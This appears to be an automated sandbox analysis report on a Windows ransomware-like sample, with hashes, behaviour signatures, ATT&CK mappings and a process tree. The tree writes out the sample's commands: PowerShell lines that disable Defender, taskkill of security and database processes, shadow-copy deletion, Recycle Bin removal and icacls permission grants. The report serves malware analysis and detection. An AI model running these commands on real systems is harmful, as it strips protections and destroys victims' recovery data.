Analysis

  • max time kernel
    150s
  • max time network
    62s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    28-05-2021 09:57

General

  • Target

    0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe

  • Size

    346KB

  • MD5

    aff561dee3b750728a4f2f8681cc252c

  • SHA1

    f3a3ee6042c819ae00d028437c5f02ebefe0eb08

  • SHA256

    0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454

  • SHA512

    6b73be255c3616dedb8c5c37254729526412967e886f3aa27038dfadb268efeb048ef3099575e4214b797c6fd555e2bcddb5f6c7b890903d0c6ca3b5b948d847

Malware Config

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Disables Task Manager via registry modification
  • Modifies Windows Firewall 1 TTPs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Modifies WinLogon 2 TTPs 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Kills process with taskkill 58 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs ping.exe 1 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
    "C:\Users\Admin\AppData\Local\Temp\0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe"
    1⤵
    • Modifies WinLogon
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:4024
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -EnableControlledFolderAccess Disabled
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1228
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" Get-MpPreference -verbose
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1588
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $true
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3392
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2136
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection $true
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2784
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode $true
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4100
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4292
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4400
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 6
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4464
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 0
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4548
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 6
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4608
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 6
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:5100
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3712
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 2
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4620
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill" /F /IM RaccineSettings.exe
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:1484
    • C:\Windows\SYSTEM32\reg.exe
      "reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F
      2⤵
        PID:4892
      • C:\Windows\SYSTEM32\reg.exe
        "reg" delete HKCU\Software\Raccine /F
        2⤵
        • Modifies registry key
        PID:2324
      • C:\Windows\SYSTEM32\schtasks.exe
        "schtasks" /DELETE /TN "Raccine Rules Updater" /F
        2⤵
          PID:3376
        • C:\Windows\SYSTEM32\sc.exe
          "sc.exe" config Dnscache start= auto
          2⤵
            PID:2296
          • C:\Windows\SYSTEM32\sc.exe
            "sc.exe" config SQLTELEMETRY start= disabled
            2⤵
              PID:3836
            • C:\Windows\SYSTEM32\sc.exe
              "sc.exe" config FDResPub start= auto
              2⤵
                PID:5036
              • C:\Windows\SYSTEM32\netsh.exe
                "netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
                2⤵
                  PID:3424
                • C:\Windows\SYSTEM32\sc.exe
                  "sc.exe" config SSDPSRV start= auto
                  2⤵
                    PID:3680
                  • C:\Windows\SYSTEM32\sc.exe
                    "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
                    2⤵
                      PID:3532
                    • C:\Windows\SYSTEM32\sc.exe
                      "sc.exe" config SstpSvc start= disabled
                      2⤵
                        PID:2280
                      • C:\Windows\SYSTEM32\sc.exe
                        "sc.exe" config SQLWriter start= disabled
                        2⤵
                          PID:3496
                        • C:\Windows\SYSTEM32\sc.exe
                          "sc.exe" config upnphost start= auto
                          2⤵
                            PID:3376
                          • C:\Windows\SYSTEM32\taskkill.exe
                            "taskkill.exe" /IM mspub.exe /F
                            2⤵
                            • Kills process with taskkill
                            PID:5060
                          • C:\Windows\SYSTEM32\taskkill.exe
                            "taskkill.exe" /IM synctime.exe /F
                            2⤵
                            • Kills process with taskkill
                            PID:4788
                          • C:\Windows\SYSTEM32\taskkill.exe
                            "taskkill.exe" /IM mspub.exe /F
                            2⤵
                            • Kills process with taskkill
                            PID:2988
                          • C:\Windows\SYSTEM32\taskkill.exe
                            "taskkill.exe" /IM mydesktopqos.exe /F
                            2⤵
                            • Kills process with taskkill
                            PID:5188
                          • C:\Windows\SYSTEM32\taskkill.exe
                            "taskkill.exe" /IM mysqld.exe /F
                            2⤵
                            • Kills process with taskkill
                            PID:5284
                          • C:\Windows\SYSTEM32\taskkill.exe
                            "taskkill.exe" /IM sqbcoreservice.exe /F
                            2⤵
                            • Kills process with taskkill
                            PID:5356
                          • C:\Windows\SYSTEM32\taskkill.exe
                            "taskkill.exe" /IM Ntrtscan.exe /F
                            2⤵
                            • Kills process with taskkill
                            PID:5368
                          • C:\Windows\SYSTEM32\taskkill.exe
                            "taskkill.exe" /IM mydesktopservice.exe /F
                            2⤵
                            • Kills process with taskkill
                            PID:5556
                          • C:\Windows\SYSTEM32\taskkill.exe
                            "taskkill.exe" /IM agntsvc.exe /F
                            2⤵
                            • Kills process with taskkill
                            PID:5632
                          • C:\Windows\SYSTEM32\taskkill.exe
                            "taskkill.exe" /IM firefoxconfig.exe /F
                            2⤵
                            • Kills process with taskkill
                            PID:5676
                          • C:\Windows\SYSTEM32\taskkill.exe
                            "taskkill.exe" /IM isqlplussvc.exe /F
                            2⤵
                            • Kills process with taskkill
                            PID:5720
                          • C:\Windows\SYSTEM32\taskkill.exe
                            "taskkill.exe" /IM steam.exe /F
                            2⤵
                            • Kills process with taskkill
                            PID:5812
                          • C:\Windows\SYSTEM32\taskkill.exe
                            "taskkill.exe" /IM thebat.exe /F
                            2⤵
                            • Kills process with taskkill
                            PID:5864
                          • C:\Windows\SYSTEM32\taskkill.exe
                            "taskkill.exe" /IM sqlwriter.exe /F
                            2⤵
                            • Kills process with taskkill
                            PID:5936
                          • C:\Windows\SYSTEM32\taskkill.exe
                            "taskkill.exe" /IM onenote.exe /F
                            2⤵
                            • Kills process with taskkill
                            PID:5988
                          • C:\Windows\SYSTEM32\taskkill.exe
                            "taskkill.exe" /IM ocomm.exe /F
                            2⤵
                            • Kills process with taskkill
                            PID:6008
                          • C:\Windows\SYSTEM32\taskkill.exe
                            "taskkill.exe" /IM encsvc.exe /F
                            2⤵
                            • Kills process with taskkill
                            PID:6052
                          • C:\Windows\SYSTEM32\taskkill.exe
                            "taskkill.exe" /IM tbirdconfig.exe /F
                            2⤵
                            • Kills process with taskkill
                            PID:6124
                            • C:\Windows\System32\Conhost.exe
                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                              3⤵
                                PID:3836
                            • C:\Windows\SYSTEM32\taskkill.exe
                              "taskkill.exe" /IM PccNTMon.exe /F
                              2⤵
                              • Kills process with taskkill
                              PID:2180
                            • C:\Windows\SYSTEM32\taskkill.exe
                              "taskkill.exe" /IM infopath.exe /F
                              2⤵
                              • Kills process with taskkill
                              PID:1228
                            • C:\Windows\SYSTEM32\taskkill.exe
                              "taskkill.exe" /IM excel.exe /F
                              2⤵
                              • Kills process with taskkill
                              PID:504
                            • C:\Windows\SYSTEM32\taskkill.exe
                              "taskkill.exe" /IM dbeng50.exe /F
                              2⤵
                              • Kills process with taskkill
                              PID:3576
                            • C:\Windows\SYSTEM32\netsh.exe
                              "netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes
                              2⤵
                                PID:4920
                              • C:\Windows\SYSTEM32\taskkill.exe
                                "taskkill.exe" /IM msaccess.exe /F
                                2⤵
                                • Kills process with taskkill
                                PID:5264
                              • C:\Windows\SYSTEM32\taskkill.exe
                                "taskkill.exe" /IM mbamtray.exe /F
                                2⤵
                                • Kills process with taskkill
                                PID:5200
                              • C:\Windows\SYSTEM32\taskkill.exe
                                "taskkill.exe" /IM CNTAoSMgr.exe /F
                                2⤵
                                • Kills process with taskkill
                                PID:5564
                              • C:\Windows\SYSTEM32\taskkill.exe
                                "taskkill.exe" /IM thebat64.exe /F
                                2⤵
                                • Kills process with taskkill
                                PID:3980
                              • C:\Windows\SYSTEM32\taskkill.exe
                                "taskkill.exe" /IM outlook.exe /F
                                2⤵
                                • Kills process with taskkill
                                PID:5304
                              • C:\Windows\SYSTEM32\taskkill.exe
                                "taskkill.exe" /IM zoolz.exe /F
                                2⤵
                                • Kills process with taskkill
                                PID:4136
                              • C:\Windows\SYSTEM32\taskkill.exe
                                "taskkill.exe" /IM tmlisten.exe /F
                                2⤵
                                • Kills process with taskkill
                                PID:4236
                              • C:\Windows\SYSTEM32\taskkill.exe
                                "taskkill.exe" IM thunderbird.exe /F
                                2⤵
                                • Kills process with taskkill
                                PID:4916
                              • C:\Windows\SYSTEM32\taskkill.exe
                                "taskkill.exe" /IM dbsnmp.exe /F
                                2⤵
                                • Kills process with taskkill
                                PID:5432
                              • C:\Windows\SYSTEM32\taskkill.exe
                                "taskkill.exe" /IM wordpad.exe /F
                                2⤵
                                • Kills process with taskkill
                                PID:5560
                              • C:\Windows\SYSTEM32\taskkill.exe
                                "taskkill.exe" /IM msftesql.exe /F
                                2⤵
                                • Kills process with taskkill
                                PID:4316
                              • C:\Windows\SYSTEM32\taskkill.exe
                                "taskkill.exe" /IM xfssvccon.exe /F
                                2⤵
                                • Kills process with taskkill
                                PID:4416
                              • C:\Windows\SYSTEM32\arp.exe
                                "arp" -a
                                2⤵
                                  PID:5824
                                • C:\Windows\SYSTEM32\taskkill.exe
                                  "taskkill.exe" /IM mysqld-opt.exe /F
                                  2⤵
                                  • Kills process with taskkill
                                  PID:5804
                                • C:\Windows\SYSTEM32\taskkill.exe
                                  "taskkill.exe" /IM powerpnt.exe /F
                                  2⤵
                                  • Kills process with taskkill
                                  PID:5800
                                • C:\Windows\SYSTEM32\taskkill.exe
                                  "taskkill.exe" /IM ocautoupds.exe /F
                                  2⤵
                                  • Kills process with taskkill
                                  PID:5928
                                • C:\Windows\SYSTEM32\taskkill.exe
                                  "taskkill.exe" /IM mydesktopqos.exe /F
                                  2⤵
                                  • Kills process with taskkill
                                  PID:5900
                                • C:\Windows\SYSTEM32\taskkill.exe
                                  "taskkill.exe" /IM ocssd.exe /F
                                  2⤵
                                  • Kills process with taskkill
                                  PID:5860
                                • C:\Windows\SYSTEM32\taskkill.exe
                                  "taskkill.exe" /IM visio.exe /F
                                  2⤵
                                  • Kills process with taskkill
                                  PID:5628
                                • C:\Windows\SYSTEM32\taskkill.exe
                                  "taskkill.exe" /IM oracle.exe /F
                                  2⤵
                                  • Kills process with taskkill
                                  PID:6072
                                • C:\Windows\SYSTEM32\taskkill.exe
                                  "taskkill.exe" /IM sqlagent.exe /F
                                  2⤵
                                  • Kills process with taskkill
                                  PID:5188
                                  • C:\Windows\System32\Conhost.exe
                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                    3⤵
                                      PID:5284
                                  • C:\Windows\SYSTEM32\taskkill.exe
                                    "taskkill.exe" /IM mydesktopservice.exe /F
                                    2⤵
                                    • Kills process with taskkill
                                    PID:4788
                                    • C:\Windows\System32\Conhost.exe
                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                      3⤵
                                        PID:5720
                                    • C:\Windows\SYSTEM32\taskkill.exe
                                      "taskkill.exe" /IM sqlbrowser.exe /F
                                      2⤵
                                      • Kills process with taskkill
                                      PID:6088
                                    • C:\Windows\SYSTEM32\taskkill.exe
                                      "taskkill.exe" /IM winword.exe /F
                                      2⤵
                                      • Kills process with taskkill
                                      PID:5128
                                    • C:\Windows\SYSTEM32\taskkill.exe
                                      "taskkill.exe" /IM sqlservr.exe /F
                                      2⤵
                                      • Kills process with taskkill
                                      PID:4484
                                    • C:\Windows\SYSTEM32\taskkill.exe
                                      "taskkill.exe" /IM mysqld-nt.exe /F
                                      2⤵
                                      • Kills process with taskkill
                                      PID:3196
                                    • C:\Windows\SYSTEM32\taskkill.exe
                                      "taskkill.exe" /IM ragent.exe /f
                                      2⤵
                                      • Kills process with taskkill
                                      PID:5084
                                    • C:\Windows\SYSTEM32\taskkill.exe
                                      "taskkill.exe" /IM rmngr.exe /f
                                      2⤵
                                      • Kills process with taskkill
                                      PID:5156
                                    • C:\Windows\SYSTEM32\taskkill.exe
                                      "taskkill.exe" /IM rphost.exe /f
                                      2⤵
                                      • Kills process with taskkill
                                      PID:4532
                                    • C:\Windows\SYSTEM32\taskkill.exe
                                      "taskkill.exe" /IM 1cv8.exe /f
                                      2⤵
                                      • Kills process with taskkill
                                      PID:4688
                                    • C:\Windows\SYSTEM32\taskkill.exe
                                      "taskkill.exe" /IM sql.exe /f
                                      2⤵
                                      • Kills process with taskkill
                                      PID:4728
                                    • C:\Windows\SYSTEM32\taskkill.exe
                                      "taskkill.exe" /IM sqld.exe /f
                                      2⤵
                                      • Kills process with taskkill
                                      PID:4888
                                    • C:\Windows\SYSTEM32\taskkill.exe
                                      "taskkill.exe" /IM mysql.exe /f
                                      2⤵
                                      • Kills process with taskkill
                                      PID:4692
                                    • C:\Windows\SYSTEM32\taskkill.exe
                                      "taskkill.exe" /IM mysqld.exe /f
                                      2⤵
                                      • Kills process with taskkill
                                      PID:4180
                                    • C:\Windows\SYSTEM32\taskkill.exe
                                      "taskkill.exe" /IM oracle.exe /f
                                      2⤵
                                      • Kills process with taskkill
                                      PID:4552
                                    • C:\Windows\SYSTEM32\taskkill.exe
                                      "taskkill.exe" /IM vmwp.exe /f
                                      2⤵
                                      • Kills process with taskkill
                                      PID:4988
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      "powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }
                                      2⤵
                                        PID:4564
                                      • C:\Windows\SYSTEM32\cmd.exe
                                        "cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpD74B.bat
                                        2⤵
                                          PID:3712
                                          • C:\Windows\system32\mountvol.exe
                                            mountvol
                                            3⤵
                                              PID:4328
                                            • C:\Windows\system32\find.exe
                                              find "}\"
                                              3⤵
                                                PID:2636
                                              • C:\Windows\system32\mountvol.exe
                                                mountvol !freedrive!: \\?\Volume{d05cfc4a-0000-0000-0000-500600000000}\
                                                3⤵
                                                  PID:5308
                                                • C:\Windows\system32\PING.EXE
                                                  ping -n 2 127.0.0.1
                                                  3⤵
                                                  • Runs ping.exe
                                                  PID:3288
                                                • C:\Windows\system32\mountvol.exe
                                                  mountvol !freedrive!: \\?\Volume{d05cfc4a-0000-0000-0000-100000000000}\
                                                  3⤵
                                                    PID:5040
                                                  • C:\Windows\system32\PING.EXE
                                                    ping -n 2 127.0.0.1
                                                    3⤵
                                                    • Runs ping.exe
                                                    PID:5300
                                                  • C:\Windows\system32\mountvol.exe
                                                    mountvol !freedrive!: \\?\Volume{7ee95057-98a6-11eb-b2cf-806e6f6e6963}\
                                                    3⤵
                                                      PID:1596
                                                    • C:\Windows\system32\PING.EXE
                                                      ping -n 2 127.0.0.1
                                                      3⤵
                                                      • Runs ping.exe
                                                      PID:2376
                                                  • C:\Windows\SYSTEM32\cmd.exe
                                                    "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin
                                                    2⤵
                                                      PID:496
                                                    • C:\Windows\SYSTEM32\icacls.exe
                                                      "icacls.exe" C:\BOOTSECT.BAK /grant Everyone:F /T /C /Q
                                                      2⤵
                                                      • Modifies file permissions
                                                      PID:5484
                                                    • C:\Windows\SYSTEM32\icacls.exe
                                                      "icacls.exe" C:\vcredist2010_x64.log-MSI_vc_red.msi.txt /grant Everyone:F /T /C /Q
                                                      2⤵
                                                      • Modifies file permissions
                                                      PID:3172
                                                    • C:\Windows\SYSTEM32\icacls.exe
                                                      "icacls.exe" C:\vcredist2010_x64.log.html /grant Everyone:F /T /C /Q
                                                      2⤵
                                                      • Modifies file permissions
                                                      PID:5068
                                                    • C:\Windows\SYSTEM32\icacls.exe
                                                      "icacls.exe" C:\vcredist2012_x64_0_vcRuntimeMinimum_x64.log /grant Everyone:F /T /C /Q
                                                      2⤵
                                                      • Modifies file permissions
                                                      PID:2096
                                                    • C:\Windows\SYSTEM32\icacls.exe
                                                      "icacls.exe" C:\vcredist2012_x64_1_vcRuntimeAdditional_x64.log /grant Everyone:F /T /C /Q
                                                      2⤵
                                                      • Modifies file permissions
                                                      PID:5640
                                                    • C:\Windows\SYSTEM32\icacls.exe
                                                      "icacls.exe" C:\vcredist2013_x64_000_vcRuntimeMinimum_x64.log /grant Everyone:F /T /C /Q
                                                      2⤵
                                                      • Modifies file permissions
                                                      PID:5224
                                                    • C:\Windows\SYSTEM32\icacls.exe
                                                      "icacls.exe" C:\vcredist2013_x64_001_vcRuntimeAdditional_x64.log /grant Everyone:F /T /C /Q
                                                      2⤵
                                                      • Modifies file permissions
                                                      PID:5312
                                                    • C:\Windows\SYSTEM32\icacls.exe
                                                      "icacls.exe" C:\vcredist2019_x64_000_vcRuntimeMinimum_x64.log /grant Everyone:F /T /C /Q
                                                      2⤵
                                                      • Modifies file permissions
                                                      PID:4156

                                                  Network

                                                  MITRE ATT&CK Matrix ATT&CK v6

                                                  Persistence

                                                  Modify Existing Service

                                                  2
                                                  T1031

                                                  Winlogon Helper DLL

                                                  1
                                                  T1004

                                                  Defense Evasion

                                                  Modify Registry

                                                  4
                                                  T1112

                                                  Disabling Security Tools

                                                  1
                                                  T1089

                                                  File Permissions Modification

                                                  1
                                                  T1222

                                                  Discovery

                                                  System Information Discovery

                                                  1
                                                  T1082

                                                  Remote System Discovery

                                                  1
                                                  T1018

                                                  Replay Monitor

                                                  Loading Replay Monitor...

                                                  Downloads

                                                  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                    MD5

                                                    268b890dae39e430e8b127909067ed96

                                                    SHA1

                                                    35939515965c0693ef46e021254c3e73ea8c4a2b

                                                    SHA256

                                                    7643d492a6f1e035b63b2e16c9c21d974a77dfd2d8e90b9c15ee412625e88c4c

                                                    SHA512

                                                    abc4b2ce10a6566f38c00ad55e433791dd45fca47deec70178daf0763578ff019fb0ec70792d5e9ecde4eb6778a35ba8a8c7ecd07550597d9bbb13521c9b98fb

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                    MD5

                                                    9ccd11847d1b0f84d520f399517ca09d

                                                    SHA1

                                                    12122692f9a3141d641d8b78598a2f03cb2784d8

                                                    SHA256

                                                    47d434892c40c75de6c57299369460a17cb32b46d6721397a975c8fc75a704f6

                                                    SHA512

                                                    c05935a48ce8e866c11c087391d04f0337f50e5a54cb29641d71651ecc2e61fd3c1d279fddaf08a162d4a7b02edffc4b84f38c41f47eeab2779fc0ac67fc49da

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                    MD5

                                                    8a3ddbbb5dba3ddee6788a2908098469

                                                    SHA1

                                                    fe0e3072873ca13779d30ffabe74219d5cfa0725

                                                    SHA256

                                                    dfcf8da5c9b0187f5f1da9f78294eacd60338668fe9225cae4d48e09e1b96ea1

                                                    SHA512

                                                    76a255036d1b0b704da54d9e9c334af85b43cba1d2daa9e5be7d378af073e54b67af8299e39045c248029d8df859251932884346bd27711c3b7ada29e924057f

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                    MD5

                                                    acdc090fc492be33c6ced7b4d8a7fd53

                                                    SHA1

                                                    93a56b59d70456c73359b6cabaefe3908e1461b2

                                                    SHA256

                                                    af024ad9aa6858651320ffbcbe37f84a44421b35534e1276bc3bce4e98295c02

                                                    SHA512

                                                    fea494a8473b7271dc90facd6ef4f5043edf7cf8f11fc3b966ce3d47d9736cf63b3c879a26ad0b700dc5cd6e67ad269cb3dc09d59773e6340ef873e286297271

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                    MD5

                                                    56be144548aa4a4298a9a06e27ae428e

                                                    SHA1

                                                    d5bab4e1a07134024bfb4830d62e62c856bb4de8

                                                    SHA256

                                                    83ebc3876f80267d9dc2cb0d0602b114c6aa6eafb940d004ec2146c981dded30

                                                    SHA512

                                                    fb0484ea4fb83973f5a5d601d33769f3f1ed2561e259099073dc89d79084ba07e9a42c0f9594df6e43e6ee5210c4f831e9382cad6fb1ae6cf69cdfff53d8ff42

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                    MD5

                                                    5b3faaf1573fa69955d9a0acbfcc79c0

                                                    SHA1

                                                    685f87453aa8bd8f9c2c4e60d0117595ebf92772

                                                    SHA256

                                                    ae5cbd3c8512c020a5c79dbb70e625dc98ea35fa0b33e4a1eedf9146d8c5a25f

                                                    SHA512

                                                    220733edf3f730cd28075270047cb16f33fc317249628116c1bf82591625f318dae49a2617b9011276a56aa75ef59de2ab8804fd314b43bbb01892be2ed2fd50

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                    MD5

                                                    8dc0826ebd96d3ec87f602dfc442e741

                                                    SHA1

                                                    b9e1504f602d0bd27ebcf8297f1ea19a2e80cb25

                                                    SHA256

                                                    5911b7fc024b1a34cff121cb9f6f3312ca05c44a08824126dc01bc3dc1c43ddd

                                                    SHA512

                                                    3e361ca14b70b93ba08f2595866449d787cb630b2825ba01e9cf8432a844115d1b2d36804ddfad5025c0532db1a18a07df5d204bfdcd2424ee96d4b6ffdc2e9f

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                    MD5

                                                    7f3a71a16be393e0a74950f3caa8356c

                                                    SHA1

                                                    bc059b5ee74b0f3959564638f959b4a98d6f6032

                                                    SHA256

                                                    f61c64492915ea60751d45d473b779793b5d6688408e22e8727f84f77dab7751

                                                    SHA512

                                                    ed66d90478308f642ab67524e7690e3b995d4f37b750fb6f063740d84da0667588c16a38c7f390acf3a64e6254adf580013c05a94d799c11171ad52994b06397

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                    MD5

                                                    7f9f5d2cb4d4b68fff8352112565b677

                                                    SHA1

                                                    a85e842f2a4c154017906ffe3f414b9f1b57c943

                                                    SHA256

                                                    6dc0a723e7c8ce8594611128ab0e812aafdc04aa726505242f658ff6e30ac28e

                                                    SHA512

                                                    68b82f866f6d5e0f8678995ab8698316a40e06b190bc0f18d5699feef1d237c8b5c23a05f97a4b336ca33dc45f31aaadec05b3875ad48f078a625fa94d6ec829

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                    MD5

                                                    c764ef416459a2cbfb91acf4ca8971ba

                                                    SHA1

                                                    e32831c7d1021adba49a7b1d2ac799a0f690ccad

                                                    SHA256

                                                    cf94a423af3a8eefffe201f67e0b288f9e05a1fed940cb83ee14f8eb1e1c23a5

                                                    SHA512

                                                    4e9c0253cadd0b01d2ead32c0fed44e5013b234f7f817343399e83d954ec71f94fe5871c3d174b8e3d1178c88dcf723d5708da1510f8ea4fb4e0c3d1cb6f7136

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                    MD5

                                                    d536975aaf7fda8c39023a4c14c251a7

                                                    SHA1

                                                    49788453810b5957365066b29b75a4045344b9d9

                                                    SHA256

                                                    7ab6dd9800596ca571502ec586e1e3f72cc504445402ebe314b5430ea5ff7110

                                                    SHA512

                                                    84854efe4bcbfa0257b93f86a0abe452d0d33ddd2639d3588f85d6c3696cc41b802cb61ab9c3b23bc240500b2b9f5dbb4eb10d939e787a7b3040927a661165f9

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                    MD5

                                                    4288ea28e0d55707a91b0bb43bed5547

                                                    SHA1

                                                    fdf9cd18c7f571ca01a283ce2d9a1a3c3bfc372a

                                                    SHA256

                                                    86bda4ed68016546ccf167da8bb0dba5962fd90c8fab848f252034b9853ff578

                                                    SHA512

                                                    82aac00c17b35df052358dc8457b6afd19f5af5eeadf9e1f715d8d0bb4e08c55916c307c0c4b14ad5dca9b4a91703264cd742cb8e5a4a333fdbd8f5175fcca0e

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                    MD5

                                                    8868a588b35e4221ba5dae49dca2d2d6

                                                    SHA1

                                                    5b6f56834a9c2020d40051caad074f1ac006b19e

                                                    SHA256

                                                    900b72d3b70195be67275483ed9d1372803131224a337edc7ace9bc87d5ff9a1

                                                    SHA512

                                                    5324b3aa56d1f40639be1a271113958240aae1f5d95e36f39a8538162bc9940dd49ca62ca920775974bf7f2b117abec96caf8ec0880cb4d7d03ed2a2abc707cb

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                    MD5

                                                    59e51a6fe4fbc40a9f6251e5c89c6b25

                                                    SHA1

                                                    c6d757122fa0a752de344f9fc0550b85c3ad6ead

                                                    SHA256

                                                    3f8825885914b7c80f0f1224e576163eea3b282761ec49b803c65b9d69c23bcf

                                                    SHA512

                                                    db77fefb2cd8c9ac7876f33a1dbc63d19a3482f4370e253347f0fdc717fca54c5296677943d377532e9b9c80ccec22a05b1579a5d9ac6ee6815a261a6ff814db

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                    MD5

                                                    59e51a6fe4fbc40a9f6251e5c89c6b25

                                                    SHA1

                                                    c6d757122fa0a752de344f9fc0550b85c3ad6ead

                                                    SHA256

                                                    3f8825885914b7c80f0f1224e576163eea3b282761ec49b803c65b9d69c23bcf

                                                    SHA512

                                                    db77fefb2cd8c9ac7876f33a1dbc63d19a3482f4370e253347f0fdc717fca54c5296677943d377532e9b9c80ccec22a05b1579a5d9ac6ee6815a261a6ff814db

                                                  • C:\Users\Admin\AppData\Local\Temp\tmpD74B.bat
                                                    MD5

                                                    1af2c796c268a8160d0d93e8866dc7b0

                                                    SHA1

                                                    6d786ee5bf9cb9b1da115ce6daffe1e7b5ef988f

                                                    SHA256

